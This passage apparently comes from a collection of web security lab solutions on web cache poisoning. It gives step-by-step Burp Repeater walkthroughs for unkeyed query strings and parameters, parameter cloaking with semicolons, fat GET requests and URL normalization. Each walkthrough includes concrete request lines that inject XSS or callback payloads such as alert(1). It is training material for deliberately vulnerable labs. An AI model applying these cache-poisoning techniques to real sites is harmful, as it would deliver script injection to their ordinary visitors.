` 13. Go to the blog page and double-check that your comment was successfully posted. 14. Go to the exploit server and click the button to open the "Access log". Refresh the page every few seconds until you see requests made by a different user. This is the victim. Copy their `User-Agent` from the log. 15. Go back to your malicious request in Burp Repeater and paste the victim's `User-Agent` into the corresponding header. Remove the cache buster. 16. Keep sending the request until you see your exploit server URL reflected in the response and `X-Cache: hit` in the headers. 17. Replay the request to keep the cache poisoned until the victim visits the site and the lab is solved ###### Jarno Timmermans ### Lab: Web cache poisoning via an unkeyed query string This lab is vulnerable to web cache poisoning because the query string is unkeyed. A user regularly visits this site's home page using Chrome. To solve the lab, poison the home page with a response that executes `alert(1)` in the victim's browser. ##### Hint - If you're struggling, you can use the `Pragma: x-get-cache-key` header to display the cache key in the response. This applies to some of the other labs as well. - Although you can't use a query parameter as a cache buster, there is a common request header that will be keyed if present. You can use the [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) extension to automatically add a cache buster header to your requests. ##### Solution 1. With Burp running, load the website's home page. In Burp, go to "Proxy" > "HTTP history". Find the `GET` request for the home page. Notice that this page is a potential cache oracle. Send the request to Burp Repeater. 2. Add arbitrary query parameters to the request. Observe that you can still get a cache hit even if you change the query parameters. This indicates that they are not included in the cache key. 3. Notice that you can use the `Origin` header as a cache buster. Add it to your request. 4. When you get a cache miss, notice that your injected parameters are reflected in the response. If the response to your request is cached, you can remove the query parameters and they will still be reflected in the cached response. 5. Add an arbitrary parameter that breaks out of the reflected string and injects an XSS payload: `GET /?evil='/>` 6. Keep replaying the request until you see your payload reflected in the response and `X-Cache: hit` in the headers. 7. To simulate the victim, remove the query string from your request and send it again (while using the same cache buster). Check that you still receive the cached response containing your payload. 8. Remove the cache-buster `Origin` header and add your payload back to the query string. Replay the request until you have poisoned the cache for normal users. Confirm this attack has been successful by loading the home page in the browser and observing the popup. 9. The lab will be solved when the victim user visits the poisoned home page. You may need to re-poison the cache if the lab is not solved after 35 seconds. ###### Jarno Timmermans ### Lab: Web cache poisoning via an unkeyed query parameter This lab is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. A user regularly visits this site's home page using Chrome. To solve the lab, poison the cache with a response that executes `alert(1)` in the victim's browser. ##### Hint Websites often exclude certain UTM analytics parameters from the cache key. ##### Solution 1. Observe that the home page is a suitable cache oracle. Notice that you get a cache miss whenever you change the query string. This indicates that it is part of the cache key. Also notice that the query string is reflected in the response. 2. Add a cache-buster query parameter. 3. Use Param Miner's "Guess GET parameters" feature to identify that the parameter `utm_content` is supported by the application. 4. Confirm that this parameter is unkeyed by adding it to the query string and checking that you still get a cache hit. Keep sending the request until you get a cache miss. Observe that this unkeyed parameter is also reflected in the response along with the rest of the query string. 5. Send a request with a `utm_content` parameter that breaks out of the reflected string and injects an XSS payload: `GET /?utm_content='/>` 6. Once your payload is cached, remove the `utm_content` parameter, right-click on the request, and select "Copy URL". Open this URL in the browser and check that the `alert()` is triggered when you load the page. 7. Remove your cache buster, re-add the `utm_content` parameter with your payload, and replay the request until the cache is poisoned for normal users. The lab will be solved when the victim user visits the poisoned home page. ### Lab: Parameter cloaking This lab is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. There is also inconsistent parameter parsing between the cache and the back-end. A user regularly visits this site's home page using Chrome. To solve the lab, use the parameter cloaking technique to poison the cache with a response that executes `alert(1)` in the victim's browser. ##### Hint The website excludes a certain UTM analytics parameter. ##### Solution 1. Identify that the `utm_content` parameter is supported. Observe that it is also excluded from the cache key. 2. Notice that if you use a semicolon (`;`) to append another parameter to `utm_content`, the cache treats this as a single parameter. This means that the extra parameter is also excluded from the cache key. Alternatively, with Param Miner loaded, right-click on the request and select "Bulk scan" > "Rails parameter cloaking scan" to identify the vulnerability automatically. 3. Observe that every page imports the script `/js/geolocate.js`, executing the callback function `setCountryCookie()`. Send the request `GET /js/geolocate.js?callback=setCountryCookie` to Burp Repeater. 4. Notice that you can control the name of the function that is called on the returned data by editing the `callback` parameter. However, you can't poison the cache for other users in this way because the parameter is keyed. 5. Study the cache behavior. Observe that if you add duplicate `callback` parameters, only the final one is reflected in the response, but both are still keyed. However, if you append the second `callback` parameter to the `utm_content` parameter using a semicolon, it is excluded from the cache key and still overwrites the callback function in the response: `GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=arbitraryFunction HTTP/1.1 200 OK X-Cache-Key: /js/geolocate.js?callback=setCountryCookie … arbitraryFunction({"country" : "United Kingdom"})` 6. Send the request again, but this time pass in `alert(1)` as the callback function: `GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)` 7. Get the response cached, then load the home page in the browser. Check that the `alert()` is triggered. 8. Replay the request to keep the cache poisoned. The lab will solve when the victim user visits any page containing this resource import URL. ###### Jarno Timmermans ### Lab: Web cache poisoning via a fat GET request This lab is vulnerable to web cache poisoning. It accepts `GET` requests that have a body, but does not include the body in the cache key. A user regularly visits this site's home page using Chrome. To solve the lab, poison the cache with a response that executes `alert(1)` in the victim's browser. ##### Solution 1. Observe that every page imports the script `/js/geolocate.js`, executing the callback function `setCountryCookie()`. Send the request `GET /js/geolocate.js?callback=setCountryCookie` to Burp Repeater. 2. Notice that you can control the name of the function that is called in the response by passing in a duplicate `callback` parameter via the request body. Also notice that the cache key is still derived from the original `callback` parameter in the request line: `GET /js/geolocate.js?callback=setCountryCookie … callback=arbitraryFunction HTTP/1.1 200 OK X-Cache-Key: /js/geolocate.js?callback=setCountryCookie … arbitraryFunction({"country" : "United Kingdom"})` 3. Send the request again, but this time pass in `alert(1)` as the callback function. Check that you can successfully poison the cache. 4. Remove any cache busters and re-poison the cache. The lab will solve when the victim user ### Lab: URL normalization This lab contains an XSS vulnerability that is not directly exploitable due to browser URL-encoding. To solve the lab, take advantage of the cache's normalization process to exploit this vulnerability. Find the XSS vulnerability and inject a payload that will execute `alert(1)` in the victim's browser. Then, deliver the malicious URL to the victim. ##### Solution 1. In Burp Repeater, browse to any non-existent path, such as `GET /random`. Notice that the path you requested is reflected in the error message. 2. Add a suitable reflected XSS payload to the request line: `GET /random